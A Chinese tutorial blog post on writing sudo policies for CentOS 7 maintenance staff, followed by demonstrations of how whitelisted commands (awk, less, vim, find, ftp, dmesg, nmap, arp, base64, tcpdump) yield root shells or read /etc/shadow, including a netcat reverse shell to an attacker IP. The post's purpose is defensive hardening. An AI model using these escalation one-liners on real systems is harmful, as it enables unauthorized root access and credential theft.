linux7.0提权工具,CentOS 7系统配置sudo策略(附sudo提权演示)

本文讲述了如何通过sudo配置允许运维人员执行特定命令,同时防止权限滥用。介绍了CentOS7系统下创建用户别名、命令别名和sudo规则的方法,并列举了多个可能导致sudo提权的安全风险示例,提醒在配置时避免包含可被利用的命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、操作目的和应用场景

某些应用系统维护人员为了工作方便,将普通用户设置为不需要输入口令即可以root身份执行任何命令。这是非常不安全的,因为一旦攻击者获得了普通账户的权限,即可在系统中执行任意指令。因此有必要制定适合于维护人员的sudo策略,使维护人员可以通过受到限制的超级用户权限处理业务上的问题,同时又不至于被攻击者利用从而对系统产生很大的伤害。下面是我的一点思考,与大家分享。

二、平台及工具版本

操作系统:CentOS 7

三、操作步骤

(一)运维人员需要执行的命令

初步将运维人员可能需要以root身份执行的命令归纳如下:

1、服务管理

/usr/bin/systemctl start

/usr/bin/systemctl stop

/usr/bin/systemctl reload

/usr/bin/systemctl restart

/usr/bin/systemctl status

/usr/bin/systemctl enable

/usr/bin/systemctl disable

2、进程管理

/usr/bin/nice

/usr/bin/kill

/usr/bin/killall

/usr/bin/ps

/usr/bin/top

3、网络管理

/usr/sbin/route

/usr/sbin/ifconfig

/usr/bin/netstat

4、存储管理

/usr/sbin/fdisk

/usr/sbin/sfdisk

/usr/sbin/parted

/usr/sbin/partprobe

/usr/bin/mount

/usr/bin/umount

5、关闭系统

/usr/sbin/reboot

/usr/sbin/halt

/usr/sbin/poweroff

6、软件管理

/usr/bin/rpm

/usr/bin/yum

/usr/local/bin/pip

/usr/local/bin/pip3

7、文件管理

/usr/bin/ls

/usr/bin/cat

8、其它

维护人员需要执行的其它命令。

(二)visudo配置

visudo  //管理员身份运行,加入下面的内容

1、创建用户别名

User_Alias USERS = user1, user2

2、创建命令别名

Cmnd_Alias SERVICES = /usr/sbin/service, /usr/sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/systemctl disable *

Cmnd_Alias PROCESS = /usr/bin/nice, /usr/bin/kill, /usr/bin/killall, /usr/bin/ps, /usr/bin/top

Cmnd_Alias NETWORKING = /usr/sbin/route, /usr/sbin/ifconfig, /usr/bin/netstat

Cmnd_Alias STORAGE = /usr/sbin/fdisk, /usr/sbin/sfdisk, /usr/sbin/parted, /usr/sbin/partprobe, /usr/bin/mount, /usr/bin/umount

Cmnd_Alias SHUTDOWN = /usr/sbin/reboot, /usr/sbin/halt, /usr/sbin/poweroff, /usr/sbin/shutdown

Cmnd_Alias SOFTWARE = /usr/bin/rpm, /usr/bin/yum, /usr/local/bin/pip, /usr/local/bin/pip3

Cmnd_Alias FILE = /usr/bin/ls, /usr/bin/cat

3、创建sudo规则

USERS ALL = (root) NOPASSWD: SERVICES, PROCESS, NETWORKING, STORAGE, SHUTDOWN, SOFTWARE, FILE

保存退出

(三)测试

1、重启服务

a79f352757461a00ea3d08ac1b5ad6b4.png

2、杀死进程

4ab878f4540315fe0e47f9edf993e6c2.png

3、配置网络

6da4af749ff0b80d8d7e91a8f23471f0.png

4、管理存储

462b954508a5528a81390e93de12e870.png

5、关闭系统

a82c4a8a149ec6229286998b960564bd.png

6、管理软件

f071f082f4440ce6dddb0a895c855f1d.png

7、文件系统

b467a78cbba9e9beb29e403555bcff82.png

以上的操作中,普通用户无法执行的命令,通过sudo都可以执行。在这个例子中sudo权限允许的范围可能过大,朋友们根据工作中的实际需要修改命令别名中的命令即可。​​

(四)实际的例子

例如编写一个远程巡检脚本,该脚本以普通用户的身份运行,但是需要执行目标系统中的某些受限命令,访问一些受限文件。这时只需要在目标系统运行visudo,加入相关的指令即可。

visudo  //运行visudo命令,编辑/etc/sudoers文件

//创建命令别名:

Cmnd_Alias SECMAN_LOGON = /usr/bin/cat /var/log/secure*, /usr/bin/lastb, /usr/bin/journalctl _SYSTEMD_UNIT=sshd.service

Cmnd_Alias SECMAN_AUTORUN = /usr/bin/crontab -uroot -l

Cmnd_Alias SECMAN_SYSCONFIG = /usr/sbin/iptables -L -t nat -n, /usr/sbin/iptables -L -t filter -n

Cmnd_Alias SECMAN_LOG = /usr/bin/cat /root/.bash_history

Cmnd_Alias SECMAN_PROCESS = /usr/bin/sar 1 3

//创建sudo规则

secman ALL = (root) NOPASSWD: SECMAN_LOGON, SECMAN_AUTORUN, SECMAN_SYSCONFIG, SECMAN_LOG, SECMAN_PROCESS

保存退出

该远程巡检脚本中运行的命令很多,但visudo中无需加入那些普通用户身份就能得到正常结果的命令,如/usr/bin/last、cat /etc/passwd等,只将那些不使用root身份就得不到正确结果的命令加入即可。

(五)sudo提权演示

下面向大家演示一些由sudo造成提权的例子,让大家了解sudo存在的风险。可能造成sudo提权的程序包括系统自带的命令、第三方软件,以及用户编写的脚本等。大家注意,在配置sudo策略的时候不要将能够造成提权的命令放在允许执行的命令列表中。

1、awk提权

(1)允许用户通过sudo执行awk

编辑sudoers,允许user1用户使用sudo执行/usr/bin/awk

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/awk

保存退出

(2)提权

sudo awk 'BEGIN {system("/bin/bash")}'

b6f0c0ccacd47a0b28625f5a40ba065d.png

提权成功,得到了root shell。

2、less提权

(1)将less加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/less

保存退出

(2)提权

sudo less /etc/passwd

输入!/bin/bash

8de1c4c1f6f2659e3db1ec872b4318a6.png

回车后得到root权限:

58b3ee4cdfa240082494ae066de2662c.png

提权成功,得到了root shell。

3、vim提权

(1)将less加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/vim

保存退出

(2)提权

sudo vim -c '!bash'

1d16fee8ebb33fcd9f65b4bb348ace9e.png

提权成功,得到了root shell。

4、find提权

(1)将find加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/find

保存退出

(2)提权

sudo find /usr/bin -name ls -exec /bin/bash \;

589b73f227e6f6c9601688dbdb1110e2.png

提权成功,得到了root shell。

5、tcpdump提权

(1)创建一个可执行脚本

touch /tmp/test.sh

#!/bin/bash

nc -e /bin/bash 192.168.1.6 8080

192.168.1.6是攻击者的IP。保存退出

chmod +x /tmp/test.sh

(2)将tcpdump加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/tcpdump

保存退出

(3)攻击者使用netcat监听自己机器上的8080端口

nc -l -p 8080

(4)提权

tcpdump中有两个参数:-z和-Z。前者用来执行一个脚本,后者用来指定tcpdump以哪个用户身份运行。当可以通过sudo执行时,可以指定以root用户运行指定的脚本,从而达到提权的目的。

sudo tcpdump -ln -i enp0s3 -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root

56c81176a6d8d28b3759fbf73b30b4ce.png

脚本很快结束退出,但是在攻击者的机器上已经得到了一个反向shell:

root@kali:~/# nc -l -p 8080

dd38799fca30b1343848073faf4b87be.png

提权成功,得到了root shell。

6、ftp提权

(1)允许用户通过sudo执行ftp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/ftp

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/ftp

保存退出

(2)提权

sudo ftp

!/bin/bash

9e331518b5cbb46a3a86dd18aaea0603.png

提权成功,得到了root权限。

7、dmesg提权

(1)允许用户通过sudo执行cp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/dmesg

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/dmesg

保存退出

(2)提权

sudo dmesg -H

输入!/bin/bash

0a21180c21e91e43d384f7424ee4205b.png

提权成功,得到了root shell。

8、nmap提权

(1)将nmap加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/nmap

保存退出

(2)提权

使用nse脚本提权,普通用户进行下面的操作:

echo "os.execute('/bin/bash')" > /tmp/shell.nse

sudo nmap --script=/tmp/shell.nse 127.0.0.1

88d9b6b85837e737e4df5a3427caada2.png

提权成功,得到了root shell。

9、arp提权

(1)允许用户通过sudo执行arp

编辑sudoers,允许user1用户使用sudo执行/usr/sbin/arp

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/arp

保存退出

(2)提权

sudo arp -v -f /etc/shadow

17011e70008dd1a8f90da0616c56288c.png

提权成功,读取了/etc/shadow。

10、base64提权

(1)允许用户通过sudo执行base64

编辑sudoers,允许user1用户使用sudo执行/usr/bin/base64

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/base64

保存退出

(2)提权

sudo base64 "/etc/shadow" | base64 --decode

e87df611c0b68443a16db0ed970df13c.png

提权成功,读取了/etc/shadow。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值